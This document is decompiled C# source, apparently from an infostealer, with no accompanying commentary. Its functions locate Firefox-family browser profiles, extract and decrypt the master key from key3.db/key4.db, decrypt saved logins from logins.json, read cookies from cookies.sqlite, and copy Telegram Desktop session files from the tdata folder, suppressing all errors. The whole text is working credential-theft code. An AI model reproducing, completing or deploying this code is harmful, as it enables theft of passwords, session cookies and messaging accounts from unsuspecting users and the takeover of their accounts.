// Token: 0x0600009B RID: 155 RVA: 0x000066FC File Offset: 0x000048FC public List <BrowserCookie> GetCookies(string profile) { List <BrowserCookie> list = new List <BrowserCookie>(); try { string text = Path.Combine(profile, "cookies.sqlite"); if (!File.Exists(text)) { return(list); } SqlConnection sqlConnection = new SqlConnection(RecoveryHelper.CreateTempCopy(text)); sqlConnection.ReadTable("moz_cookies"); int i = 0; while (i < sqlConnection.GetRowCount()) { BrowserCookie browserCookie = null; try { browserCookie = new BrowserCookie { Host = sqlConnection.GetValue(i, "host").Trim(), Http = (sqlConnection.GetValue(i, "isSecure") == "1"), Path = sqlConnection.GetValue(i, "path").Trim(), Secure = (sqlConnection.GetValue(i, "isSecure") == "1"), Expires = sqlConnection.GetValue(i, "expiry").Trim(), Name = sqlConnection.GetValue(i, "name").Trim(), Value = sqlConnection.GetValue(i, "value") }; goto IL_118; } catch { goto IL_118; } goto IL_105; IL_10D: i++; continue; IL_105: list.Add(browserCookie); goto IL_10D; IL_118: if (browserCookie != null) { goto IL_105; } goto IL_10D; } } catch (Exception) { } return(list); }
// Token: 0x0600009E RID: 158 RVA: 0x00006C8C File Offset: 0x00004E8C private byte[] ExtractPrivateKey3(string file) { byte[] array = new byte[24]; try { if (!File.Exists(file)) { return(array); } new DataTable(); GeckoDatabase geckoDatabase = new GeckoDatabase(file); GeckoDatabase arg_45_1 = geckoDatabase; Func <string, bool> arg_45_2; if ((arg_45_2 = GeckoManager.< > c.< > 9__5_0) == null) { arg_45_2 = (GeckoManager.< > c.< > 9__5_0 = new Func <string, bool>(GeckoManager.< > c.< > 9. < ExtractPrivateKey3 > b__5_0)); } DataParser dataParser = new DataParser(this.FindValueByKey(arg_45_1, arg_45_2)); GeckoDatabase arg_71_1 = geckoDatabase; Func <string, bool> arg_71_2; if ((arg_71_2 = GeckoManager.< > c.< > 9__5_1) == null) { arg_71_2 = (GeckoManager.< > c.< > 9__5_1 = new Func <string, bool>(GeckoManager.< > c.< > 9. < ExtractPrivateKey3 > b__5_1)); } string expr_76 = this.FindValueByKey(arg_71_1, arg_71_2); GeckoPasswordBasedEncryption geckoPasswordBasedEncryption = new GeckoPasswordBasedEncryption(RecoveryHelper.ConvertHexStringToByteArray(expr_76), Encoding.Default.GetBytes(string.Empty), RecoveryHelper.ConvertHexStringToByteArray(dataParser.EntrySalt)); geckoPasswordBasedEncryption.Calculate(); CrytoServiceProvider.Decode(geckoPasswordBasedEncryption.DataKey, geckoPasswordBasedEncryption.DataIV, RecoveryHelper.ConvertHexStringToByteArray(dataParser.Passwordcheck), PaddingMode.None); GeckoDatabase arg_E5_1 = geckoDatabase; Func <string, bool> arg_E5_2; if ((arg_E5_2 = GeckoManager.< > c.< > 9__5_2) == null) { arg_E5_2 = (GeckoManager.< > c.< > 9__5_2 = new Func <string, bool>(GeckoManager.< > c.< > 9. < ExtractPrivateKey3 > b__5_2)); } Asn1Object asn1Object = Asn1Factory.Create(RecoveryHelper.ConvertHexStringToByteArray(this.FindValueByKey(arg_E5_1, arg_E5_2))); GeckoPasswordBasedEncryption geckoPasswordBasedEncryption2 = new GeckoPasswordBasedEncryption(RecoveryHelper.ConvertHexStringToByteArray(expr_76), Encoding.Default.GetBytes(string.Empty), asn1Object.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); geckoPasswordBasedEncryption2.Calculate(); Asn1Object asn1Object2 = Asn1Factory.Create(Asn1Factory.Create(Encoding.Default.GetBytes(CrytoServiceProvider.Decode(geckoPasswordBasedEncryption2.DataKey, geckoPasswordBasedEncryption2.DataIV, asn1Object.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData); if (asn1Object2.Objects[0].Objects[3].ObjectData.Length > 24) { Array.Copy(asn1Object2.Objects[0].Objects[3].ObjectData, asn1Object2.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24); } else { array = asn1Object2.Objects[0].Objects[3].ObjectData; } } catch (Exception) { } return(array); }
// Token: 0x0600009A RID: 154 RVA: 0x00006668 File Offset: 0x00004868 public List <BrowserCredendtial> GetCredentials(string profile) { List <BrowserCredendtial> list = new List <BrowserCredendtial>(); try { if (File.Exists(Path.Combine(profile, "key3.db"))) { list.AddRange(this.GetLogins(profile, this.ExtractPrivateKey3(RecoveryHelper.CreateTempCopy(Path.Combine(profile, "key3.db"))))); } if (File.Exists(Path.Combine(profile, "key4.db"))) { list.AddRange(this.GetLogins(profile, this.ExtractPrivateKey4(RecoveryHelper.CreateTempCopy(Path.Combine(profile, "key4.db"))))); } } catch (Exception) { } return(list); }
// Token: 0x060000AC RID: 172 RVA: 0x00007180 File Offset: 0x00005380 public static TelegramSession Extract() { TelegramSession telegramSession = new TelegramSession(); try { string path = Path.Combine(Environment.ExpandEnvironmentVariables("%USERPROFILE%"), "AppData\\Roaming\\Telegram Desktop\\tdata"); string path2 = Path.Combine(Environment.ExpandEnvironmentVariables("%USERPROFILE%"), "AppData\\Roaming\\Telegram Desktop\\tdata\\D877F783D5D3EF8C"); if (!Directory.Exists(path) || !Directory.Exists(path2)) { return(telegramSession); } string[] files = Directory.GetFiles(path, "D877F783D5D3EF8C*"); if (files.Length != 0) { byte[] fileData = File.ReadAllBytes(RecoveryHelper.CreateTempCopy(files[0])); string[] files2 = Directory.GetFiles(path2, "map*"); if (files2.Length != 0) { byte[] fileData2 = File.ReadAllBytes(RecoveryHelper.CreateTempCopy(files[0])); telegramSession.MapFile = new DesktopFile { FileData = fileData2, Filename = new FileInfo(files2[0]).Name }; telegramSession.RootFile = new DesktopFile { FileData = fileData, Filename = new FileInfo(files[0]).Name }; } } } catch (Exception) { } return(telegramSession); }
// Token: 0x0600009C RID: 156 RVA: 0x00006864 File Offset: 0x00004A64 public List <BrowserCredendtial> GetLogins(string profile, byte[] privateKey) { List <BrowserCredendtial> list = new List <BrowserCredendtial>(); try { string path = RecoveryHelper.CreateTempCopy(Path.Combine(profile, "logins.json")); if (!File.Exists(path)) { return(list); } GeckoLogin[] logins = File.ReadAllText(path).FromJSON <GeckoRootEntry>().logins; for (int i = 0; i < logins.Length; i++) { GeckoLogin geckoLogin = logins[i]; Asn1Object asn1Object = Asn1Factory.Create(Convert.FromBase64String(geckoLogin.encryptedUsername)); Asn1Object asn1Object2 = Asn1Factory.Create(Convert.FromBase64String(geckoLogin.encryptedPassword)); string text = Regex.Replace(CrytoServiceProvider.Decode(privateKey, asn1Object.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string text2 = Regex.Replace(CrytoServiceProvider.Decode(privateKey, asn1Object2.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); BrowserCredendtial browserCredendtial = new BrowserCredendtial { URL = (string.IsNullOrEmpty(geckoLogin.hostname) ? "UNKNOWN" : geckoLogin.hostname), Login = (string.IsNullOrEmpty(text) ? "UNKNOWN" : text), Password = (string.IsNullOrEmpty(text2) ? "UNKNOWN" : text2) }; if (browserCredendtial.Login != "UNKNOWN" && browserCredendtial.Password != "UNKNOWN" && browserCredendtial.URL != "UNKNOWN") { list.Add(browserCredendtial); } } } catch (Exception) { } return(list); }
// Token: 0x06000099 RID: 153 RVA: 0x00006480 File Offset: 0x00004680 public List <BrowserProfile> GetAll() { List <BrowserProfile> list = new List <BrowserProfile>(); try { List <string> list2 = new List <string>(); list2.AddRange(RecoveryHelper.FindPaths(ConstantStorage.LocalAppData, 4, 1, new string[] { "key3.db", "key4.db", "cookies.sqlite", "logins.json" })); list2.AddRange(RecoveryHelper.FindPaths(ConstantStorage.RoamingAppData, 4, 1, new string[] { "key3.db", "key4.db", "cookies.sqlite", "logins.json" })); foreach (string expr_90 in list2) { string fullName = new FileInfo(expr_90).Directory.FullName; string text = expr_90.Contains(ConstantStorage.RoamingAppData) ? this.ParseRoamingBrowserName(fullName) : this.ParseLocalBrowserName(fullName); if (!string.IsNullOrEmpty(text)) { BrowserProfile browserProfile = new BrowserProfile { Name = text, Profile = new DirectoryInfo(fullName).Name, BrowserCookies = new List <BrowserCookie>(this.GetCookies(fullName)).IsNull <List <BrowserCookie> >(), BrowserCredendtials = new List <BrowserCredendtial>(this.GetCredentials(fullName).IsNull <List <BrowserCredendtial> >()).IsNull <List <BrowserCredendtial> >() }; IEnumerable <BrowserCookie> arg_144_0 = browserProfile.BrowserCookies; Predicate <BrowserCookie> arg_144_1; if ((arg_144_1 = GeckoManager.< > c.< > 9__0_0) == null) { arg_144_1 = (GeckoManager.< > c.< > 9__0_0 = new Predicate <BrowserCookie>(GeckoManager.< > c.< > 9. < GetAll > b__0_0)); } if (arg_144_0.Count(arg_144_1) <= 0) { IEnumerable <BrowserCredendtial> arg_172_0 = browserProfile.BrowserCredendtials; Predicate <BrowserCredendtial> arg_172_1; if ((arg_172_1 = GeckoManager.< > c.< > 9__0_1) == null) { arg_172_1 = (GeckoManager.< > c.< > 9__0_1 = new Predicate <BrowserCredendtial>(GeckoManager.< > c.< > 9. < GetAll > b__0_1)); } if (arg_172_0.Count(arg_172_1) <= 0) { continue; } } list.Add(browserProfile); } } } catch (Exception) { } return(list); }